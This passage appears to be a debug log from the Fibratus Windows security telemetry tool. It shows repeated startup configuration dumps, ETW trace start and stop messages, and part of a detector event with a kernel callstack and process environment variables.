S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc36754294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc36237a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffc3623759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffc362544fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffc363bd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffc362087d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc362072ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc36206e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffbe528edd2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?Release@LogManagerProvider@Events@Applications@Microsoft@@SA?AW4status_t@234@AEAVILogConfiguration@234@@Z|0x7ffbe51f4c71 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?DispatchEvent@DebugEventSource@Events@Applications@Microsoft@@UEAA_NVDebugEvent@234@@Z|0x7ffbe51f0657 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?DispatchEvent@DebugEventSource@Events@Applications@Microsoft@@UEAA_NVDebugEvent@234@@Z|0x7ffbe51f057c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?DispatchEvent@DebugEventSource@Events@Applications@Microsoft@@UEAA_NVDebugEvent@234@@Z|0x7ffbe51fae42 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?DispatchEvent@DebugEventSource@Events@Applications@Microsoft@@UEAA_NVDebugEvent@234@@Z|0x7ffbe51f9f65 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?DispatchEvent@DebugEventSource@Events@Applications@Microsoft@@UEAA_NVDebugEvent@234@@Z|0x7ffbe51f7e02 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?DispatchEvent@DebugEventSource@Events@Applications@Microsoft@@UEAA_NVDebugEvent@234@@Z|0x7ffbe51e00e6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\oneds.dll!?|0x7ffbe832d395 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!CreateSmartScreenClient|0x7ffbe60f9db8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60f9b9a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe66af174 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66aefa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae8a4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ae5d2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6055048 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:23:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T14:23:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:23:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:25:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:25:30+01:00 level=info msg=bootstrapping with pid 1852. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:25:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true buffer-size=>512 enable-handle=>false min-buffers=>16 enable-net=>true enable-mem=>false enable-image=>true enable-audit-api=>true enable-fileio=>true enable-dns=>false enable-vamap=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-threadpool=>false flush-interval=>1s stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ elasticsearch=>[ flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false index-name=>fibratus template-name=>fibratus sniff=>false bulk-workers=>1 healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false healthcheck=>true] http=>[ tls-insecure-skip-verify=>false timeout=>5s enabled=>false method=>POST serializer=>json endpoints=>[] enable-gzip=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false exchange-type=>topic durable=>false timeout=>5s exchange=>fibratus delivery-mode=>transient routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false excluded-files=>[] skip-files=>false scan-timeout=>10s skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:25:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:25:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:29:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T14:29:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:29:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:30:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:30:00+01:00 level=info msg=bootstrapping with pid 10108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:30:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 min-buffers=>16 enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-registry=>true enable-audit-api=>true enable-fileio=>true max-buffers=>36 stack-enrichment=>true enable-mem=>false flush-interval=>1s enable-threadpool=>false enable-dns=>false enable-handle=>false enable-net=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false timeout=>5s healthcheck-timeout=>5s index-name=>fibratus enabled=>false healthcheck=>true healthcheck-interval=>10s flush-period=>1s sniff=>false gzip-compression=>false template-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json method=>POST endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false timeout=>5s] amqp=>[ vhost=>/ url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient timeout=>5s enabled=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-mmaps=>false skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:30:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:30:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:32:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T14:32:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:32:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:37:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:37:16+01:00 level=info msg=bootstrapping with pid 4980. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:37:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-dns=>false enable-mem=>false enable-image=>true enable-handle=>false stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-fileio=>true enable-net=>true enable-vamap=>true enable-threadpool=>false min-buffers=>16 enable-audit-api=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 formatter=>text max-age=>0 level=>info log-stdout=>true] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false method=>POST serializer=>json endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] amqp=>[ url=>amqp://localhost:5672 durable=>false enabled=>false routing-key=>fibratus exchange=>fibratus vhost=>/ passive=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient exchange-type=>topic] elasticsearch=>[ sniff=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s timeout=>5s gzip-compression=>false enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false index-name=>fibratus template-name=>fibratus]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s fastscan=>true skip-files=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false enabled=>false skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:37:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:37:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:37:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T14:37:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:37:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:43:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:43:04+01:00 level=info msg=bootstrapping with pid 2540. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:43:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-vamap=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true flush-interval=>1s enable-mem=>false enable-audit-api=>true enable-fileio=>true enable-thread=>true enable-handle=>false min-buffers=>16 buffer-size=>512 enable-threadpool=>false enable-dns=>false enable-image=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ routing-key=>fibratus passive=>false timeout=>5s exchange-type=>topic vhost=>/ durable=>false delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ trace-log=>false index-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false healthcheck=>true healthcheck-interval=>10s template-name=>fibratus timeout=>5s gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s enabled=>false] http=>[ method=>POST timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] enabled=>false scan-timeout=>10s skip-files=>false fastscan=>true skip-registry=>false skip-allocs=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:43:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:43:25+01:00 level=info msg=bootstrapping with pid 9488. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:43:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true enable-image=>true enable-audit-api=>true enable-thread=>true enable-threadpool=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true min-buffers=>16 max-buffers=>36 enable-net=>true enable-registry=>true flush-interval=>1s enable-mem=>false enable-fileio=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 formatter=>text level=>info log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false durable=>false delivery-mode=>transient exchange=>fibratus routing-key=>fibratus passive=>false exchange-type=>topic timeout=>5s vhost=>/] elasticsearch=>[ trace-log=>false enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus timeout=>5s index-name=>fibratus sniff=>false flush-period=>1s healthcheck=>true] http=>[ method=>POST enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s endpoints=>[]]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true skip-registry=>false excluded-procs=>[] skip-mmaps=>false enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:43:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:43:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:43:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T14:43:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:43:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:45:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T14:45:28+01:00 level=info msg=bootstrapping with pid 18252. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:45:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true 